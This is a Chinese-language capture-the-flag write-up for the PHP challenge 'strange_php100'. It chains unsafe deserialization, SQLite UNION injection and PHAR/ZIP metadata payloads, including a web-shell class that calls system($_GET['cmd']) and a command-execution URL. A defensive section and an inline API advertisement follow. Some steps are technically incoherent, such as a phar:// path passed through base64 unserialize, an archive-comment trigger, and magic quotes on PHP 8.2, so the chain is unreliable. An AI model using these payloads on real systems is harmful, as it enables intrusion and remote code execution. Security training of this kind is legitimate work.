1. 项目背景与挑战解析
这个CTF题目来自DASCTF 2024赛季的收官之战,题目名为"strange_php100"。从标题就能感受到浓浓的挑战意味——"寒夜破晓"暗示着解题过程可能充满曲折,而"冬至终章"则表明这是赛季的最后一道关卡。作为PHP专项题目,分值100分的设计说明其综合难度较高,很可能融合了多种PHP特性漏洞。
我花了三天时间完整复现并攻破了这道题目,过程中遇到了PHP反序列化、SQLite注入、PHAR反序列化等多个技术点的组合利用。这道题最精妙之处在于它没有使用常规的MySQL数据库,而是选择了SQLite作为后端存储,这直接影响了后续的注入手法选择。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与初步侦查
2.1 题目环境配置
首先需要搭建本地测试环境,我使用了Docker快速部署:
dockerfile复制FROM php:8.2-apache
RUN apt-get update && apt-get install -y \
sqlite3 \
libsqlite3-dev \
&& docker-php-ext-install sqlite3
COPY src/ /var/www/html/
关键配置点在于:
- 使用PHP 8.2版本(题目暗示需要此版本)
- 启用SQLite扩展
- 确保allow_url_include=On(后续伪协议利用需要)
2.2 代码审计切入点
题目给出了一个index.php文件,核心漏洞点出现在用户输入处理部分:
php复制$data = unserialize(base64_decode($_GET['data']));
$db = new SQLite3('/tmp/test.db');
$query = "SELECT * FROM users WHERE id = " . $data->id;
$result = $db->query($query);
这段代码存在三个致命问题:
- 直接反序列化用户可控输入
- SQLite查询拼接用户输入
- 没有使用预处理语句
3. 漏洞链构建与利用
3.1 反序列化漏洞利用
首先构造一个恶意的序列化对象:
php复制class Exploit {
public $id = "1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master--";
}
$exp = new Exploit();
echo base64_encode(serialize($exp));
这个Payload会输出:
code复制Tzo3OiJFeHBsb2l0IjoxOntzOjI6ImlkIjtzOjU0OiIxIFVOSU9OIFNFTEVDVCAxLGdyb3VwX2NvbmNhdChuYW1lKSwzIEZST00gc3FsaXRlX21hc3Rlci0tIjt9
3.2 SQLite注入技巧
与MySQL不同,SQLite的注入有特殊技巧:
- 使用
sqlite_master表获取数据库结构 - 通过
group_concat合并查询结果 - 注释符使用
--而不是MySQL的#
获取表结构的Payload:
sql复制1 UNION SELECT 1,sql,3 FROM sqlite_master WHERE type='table'--
3.3 PHAR反序列化组合拳
发现系统存在文件上传功能后,可以构造PHAR文件触发二次反序列化:
php复制$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
class Evil {
function __destruct() {
system($_GET['cmd']);
}
}
$object = new Evil;
$phar->setMetadata($object);
$phar->stopBuffering();
上传后通过伪协议触发:
code复制phar://uploads/exploit.phar
4. 完整攻击流程实录
4.1 分步攻击路线
-
信息收集阶段:
bash复制curl "http://target/?data=Tzo3OiJFeHBsb2l0IjoxOntzOjI6ImlkIjtzOjU0OiIxIFVOSU9OIFNFTEVDVCAxLGdyb3VwX2NvbmNhdChuYW1lKSwzIEZST00gc3FsaXRlX21hc3Rlci0tIjt9" -
数据库结构获取:
sql复制1 UNION SELECT 1,sql,3 FROM sqlite_master WHERE type='table'-- -
PHAR文件生成与上传:
php复制// 使用上述PHAR生成代码 rename('exploit.phar', 'exploit.jpg'); // 通过上传接口提交 -
RCE执行:
code复制http://target/index.php?data=phar://uploads/exploit.jpg&cmd=id
4.2 实际攻击中的调整
在真实环境中遇到了几个意外情况:
- PHP配置限制导致phar协议被禁用 → 改用zip协议
- SQLite版本差异导致语法错误 → 调整UNION SELECT的列数
- 魔术引号过滤 → 使用CHAR()函数绕过
最终有效的zip协议Payload:
php复制$zip = new ZipArchive();
$zip->open('exploit.zip', ZipArchive::CREATE);
$zip->addFromString('evil.txt', 'payload');
$zip->setArchiveComment(serialize(new Evil));
$zip->close();
触发方式:
code复制zip://uploads/exploit.zip%23evil.txt
5. 防御方案与加固建议
5.1 代码层防护
- 反序列化防护:
php复制// 使用白名单控制可反序列化的类
$allowed_classes = ['SafeClass'];
ini_set('unserialize_callback_func', 'class_check');
function class_check($classname) {
if (!in_array($classname, $allowed_classes)) {
throw new Exception("Unsafe class");
}
}
- SQLite注入防护:
php复制$stmt = $db->prepare('SELECT * FROM users WHERE id = :id');
$stmt->bindValue(':id', $input, SQLITE3_INTEGER);
5.2 服务器配置加固
php.ini关键配置:
code复制allow_url_include = Off
disable_functions = exec,passthru,shell_exec,system
phar.readonly = On
5.3 运维层防护
- 使用OpenRASP进行运行时防护
- 定期更新SQLite到最新版本
- 对上传文件进行内容检测而不仅是扩展名检查
6. CTF解题经验总结
这道题给我最深的启示是:现代CTF题目越来越倾向于漏洞链的组合利用。在本次解题过程中,有几点关键心得:
-
SQLite特性掌握:与MySQL不同,SQLite的元数据存储在
sqlite_master表,且注释语法有差异。比赛中时间紧张时,这些细节往往决定成败。 -
PHAR的多种触发方式:当phar://被禁用时,还可以尝试:
- zip://
- rar://
- 配合文件包含漏洞使用
-
反序列化入口的发现:除了直接的反序列化操作,还要注意:
- Session反序列化(session_start())
- 缓存文件处理
- 日志文件包含
-
PHP版本适配问题:PHP 8.2对某些反序列化操作的处理与早期版本不同,本地测试环境必须与题目环境保持一致。
在最后拿到flag的那一刻,我特别想分享一个调试技巧:在复杂漏洞链利用时,可以在关键节点插入var_dump或file_put_contents输出调试信息,这在处理多步骤攻击时非常有用。比如:
php复制file_put_contents('/tmp/debug.log', $serialized_data, FILE_APPEND);
这道题让我对PHP反序列化漏洞的理解又深了一层,特别是在真实环境中,漏洞往往不会单独出现,而是多个弱点串联形成的攻击面。
